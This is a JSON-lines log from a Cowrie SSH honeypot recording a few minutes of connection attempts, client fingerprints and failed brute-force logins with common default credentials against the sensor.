{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:22.581210Z","src_ip":"176.65.139.103","session":"3d3c1bf02b61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":35678,"dst_ip":"10.17.0.5","dst_port":22,"session":"42cf228f2d3a","protocol":"ssh","message":"New connection: 176.65.139.103:35678 (10.17.0.5:22) [session: 42cf228f2d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:27.216565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:27.220110Z","src_ip":"176.65.139.103","session":"42cf228f2d3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:27.312117Z","src_ip":"176.65.139.103","session":"42cf228f2d3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:27.580137Z","src_ip":"176.65.139.103","session":"42cf228f2d3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:28.668536Z","src_ip":"176.65.139.103","session":"42cf228f2d3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48794,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e78e267a6f9","protocol":"ssh","message":"New connection: 176.65.139.103:48794 (10.17.0.5:22) [session: 7e78e267a6f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:33.442895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:33.447923Z","src_ip":"176.65.139.103","session":"7e78e267a6f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:33.530226Z","src_ip":"176.65.139.103","session":"7e78e267a6f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:33.775724Z","src_ip":"176.65.139.103","session":"7e78e267a6f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:34.909957Z","src_ip":"176.65.139.103","session":"7e78e267a6f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":48810,"dst_ip":"10.17.0.5","dst_port":22,"session":"025624876b0b","protocol":"ssh","message":"New connection: 176.65.139.103:48810 (10.17.0.5:22) [session: 025624876b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:40.161700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:40.165910Z","src_ip":"176.65.139.103","session":"025624876b0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:40.247689Z","src_ip":"176.65.139.103","session":"025624876b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:40.494440Z","src_ip":"176.65.139.103","session":"025624876b0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":60040,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fef0459857a","protocol":"ssh","message":"New connection: 202.184.144.220:60040 (10.17.0.5:22) [session: 7fef0459857a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:40.814795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:40.828394Z","src_ip":"202.184.144.220","session":"7fef0459857a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:41.068624Z","src_ip":"202.184.144.220","session":"7fef0459857a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:41.577965Z","src_ip":"176.65.139.103","session":"025624876b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456oo","message":"login attempt [root/123456oo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:42.062960Z","src_ip":"202.184.144.220","session":"7fef0459857a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:43.305580Z","src_ip":"202.184.144.220","session":"7fef0459857a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":39496,"dst_ip":"10.17.0.5","dst_port":22,"session":"9531a12e7f76","protocol":"ssh","message":"New connection: 176.65.139.103:39496 (10.17.0.5:22) [session: 9531a12e7f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:46.577365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:46.615668Z","src_ip":"176.65.139.103","session":"9531a12e7f76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:46.677443Z","src_ip":"176.65.139.103","session":"9531a12e7f76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:47.011498Z","src_ip":"176.65.139.103","session":"9531a12e7f76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:48.239227Z","src_ip":"176.65.139.103","session":"9531a12e7f76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59450,"dst_ip":"159.203.135.109","dst_port":22,"session":"42002053b9fd","protocol":"ssh","message":"New connection: 159.203.92.129:59450 (159.203.135.109:22) [session: 42002053b9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:49.115819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:49.121336Z","src_ip":"159.203.92.129","session":"42002053b9fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:49.125605Z","src_ip":"159.203.92.129","session":"42002053b9fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123@123a","message":"login attempt [ansible/123@123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:49.140445Z","src_ip":"159.203.92.129","session":"42002053b9fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:50.145541Z","src_ip":"159.203.92.129","session":"42002053b9fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50296,"dst_ip":"10.17.0.5","dst_port":22,"session":"c35378de76ce","protocol":"ssh","message":"New connection: 176.65.139.103:50296 (10.17.0.5:22) [session: c35378de76ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:53.177745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:53.181979Z","src_ip":"176.65.139.103","session":"c35378de76ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:53.457581Z","src_ip":"176.65.139.103","session":"c35378de76ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:53.767759Z","src_ip":"176.65.139.103","session":"c35378de76ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:14:54.908365Z","src_ip":"176.65.139.103","session":"c35378de76ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":50324,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ce2f0e8bd4c","protocol":"ssh","message":"New connection: 176.65.139.103:50324 (10.17.0.5:22) [session: 6ce2f0e8bd4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:00.103841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:00.111576Z","src_ip":"176.65.139.103","session":"6ce2f0e8bd4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:00.195558Z","src_ip":"176.65.139.103","session":"6ce2f0e8bd4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:00.631160Z","src_ip":"176.65.139.103","session":"6ce2f0e8bd4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:01.969982Z","src_ip":"176.65.139.103","session":"6ce2f0e8bd4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":60175,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd3220d08014","protocol":"ssh","message":"New connection: 52.231.220.210:60175 (10.17.0.5:22) [session: fd3220d08014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:05.149376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:15:05.158114Z","src_ip":"52.231.220.210","session":"fd3220d08014","protocol":"ssh"}
